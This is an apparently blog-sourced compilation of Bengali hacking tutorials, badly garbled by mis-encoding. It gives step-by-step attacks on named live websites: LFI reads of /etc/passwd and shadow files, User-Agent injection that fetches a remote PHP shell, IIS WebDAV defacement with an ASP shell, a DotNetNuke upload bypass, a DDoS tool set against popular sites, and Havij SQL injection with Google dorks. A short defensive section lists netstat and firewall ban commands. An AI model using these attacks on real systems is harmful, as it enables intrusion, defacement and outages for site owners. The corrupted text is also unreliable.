যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

